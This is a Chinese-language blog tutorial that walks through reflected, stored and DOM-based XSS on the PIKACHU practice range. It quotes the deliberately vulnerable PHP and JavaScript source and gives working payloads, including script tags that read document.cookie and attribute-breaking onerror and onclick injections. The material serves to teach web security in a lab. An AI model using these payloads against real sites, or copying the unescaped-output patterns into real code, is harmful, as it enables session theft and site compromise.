XSS漏洞学习

 原理

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括JavaVBScriptActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

 一般XSS可以分为如下几种常见类型:
  

 1.反射性XSS;
 2.存储型XSS;
 3.DOM型XSS;

反射型XSS(非持久化)

反射型 XSS 是指应用程序通过 Web 请求获取不可信赖的数据,并在未检验数据是否存在恶意代码的情况下,将其发送给用户。反射型 XSS 一般可以由攻击者构造带有恶意代码参数的 URL 来实现,在构造的URL 地址被打开后,其中包含的恶意代码参数被浏览器解析和执行。这种攻击的特点是非持久化,必须用户点击包含恶意代码参数的链接时才会触发。

这里以PIKACHU靶场为例

GET

打开网页

先输入KOBE试试

 估计在message这里是一个输出点

查看源码

$html='';
if(isset($_GET['submit'])){
    if(empty($_GET['message'])){
        $html.="<p class='notice'>输入'kobe'试试-_-</p>";
    }else{
        if($_GET['message']=='kobe'){
            $html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
        }else{
            $html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
        }
    }
}

并没有对输入字符串做任何过滤

payload直接打进去

<script>alert('H3018')</script>

 

 这里如果直接从输入框输入的话是不行的。因为这里限定了长度为20

但我们可以通过自己修改

这下就可以了

POST

 这里是个登录页面,直接给了账号密码,我们直接登录进去

这里可以直接从输入框输入payload

 也可以通过bp修改post数据

 

<script>alert('H3018')</script>
要获取COOKIE的话
<script>alert(document.cookie)</script>

 查看源码

$html='';
if(isset($_POST['submit'])){
    if(empty($_POST['message'])){
        $html.="<p class='notice'>输入'kobe'试试-_-</p>";
    }else{

        //下面直接将前端输入的参数原封不动的输出了,出现xss
        if($_POST['message']=='kobe'){
            $html.="<p class='notice'>愿你和{$_POST['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
        }else{
            $html.="<p class='notice'>who is {$_POST['message']},i don't care!</p>";
        }
    }
}

这里也是对传入字符串没有做任何过滤

存储型XSS

存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性

这里以PIKACHU靶场为例

一个留言框

直接输入PAYLOAD

<script>alert(document.cookie)</script>

 直接弹出了COOKIE

当我们再次点击此功能界面时,也会弹出COOKIE

 查看源码

$html='';
if(array_key_exists("message",$_POST) && $_POST['message']!=null){
    $message=escape($link, $_POST['message']);
    $query="insert into message(content,time) values('$message',now())";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)!=1){
        $html.="<p>数据库出现异常,提交失败!</p>";
    }
}
<?php echo $html;
$query="select * from message";
$result=execute($link, $query);
while($data=mysqli_fetch_assoc($result)){
echo "<p class='con'>{$data['content']}</p><a href='xss_stored.php?id={$data['id']}'>删除</a>";}
echo $html;
?>

payload没有经过任何过滤直接注入到了本地数据库

每次我们访问时都会去查询插入的语句,就触发了弹窗

 DOM型XSS

文档对象模型(Document Object Model,简称DOM),是W3C组织推荐的处理可扩展置标语言的标准编程接口。它是一种与平台和语言无关的应用程序接口(API),它可以动态地访问程序和脚本,更新其内容、结构和www文档的风格(HTML和XML文档是通过说明部分定义的)。文档可以进一步被处理,处理的结果可以加入到当前的页面。DOM是一种基于树的API文档,它要求在处理过程中整个文档都表示在存储器中。另外一种简单的API是基于事件的SAX,它可以用于处理很大的XML文档,由于大,所以不适合全部放在存储器中处理。

javascript可以对树中的文档对象进行修改,而改变页面的元素

可能触发DOM型XSS的属性:

document.referer属性

window.name属性

location属性

innerHTML属性

documen.write属性

DOM型XSS

 查看源码

if(isset($_GET['text'])){
    $haha = "这里是后台的处理逻辑";
}
<script>
    function domxss(){
    var str = document.getElementById("text").value;
    document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
                    }
</script>

 并没有对输入字符串做任何过滤,我们闭合就行了

payload:

'><a href=javascript:alert('H3018') //
' onclick="alert('H3018')"> //
'><img src=x onerror="alert('H3018')"> //

DOM型xss-x

 查看源码

if(isset($_GET['text'])){
    $html.= "<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>";
}
    function domxss(){
                        var str = window.location.search;
                        var txss = decodeURIComponent(str.split("text=")[1]);
                        var xss = txss.replace(/\+/g,' ');                       
                        document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
                    }
                </script>

闭合就行了,payload一样

'><a href=javascript:alert('H3018') //
' onclick="alert('H3018')"> //
'><img src=x onerror="alert('H3018')"> //

防御方式

对输入进行过滤,对输出进行编码。HttpOnly ,开启 Web 安全头

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值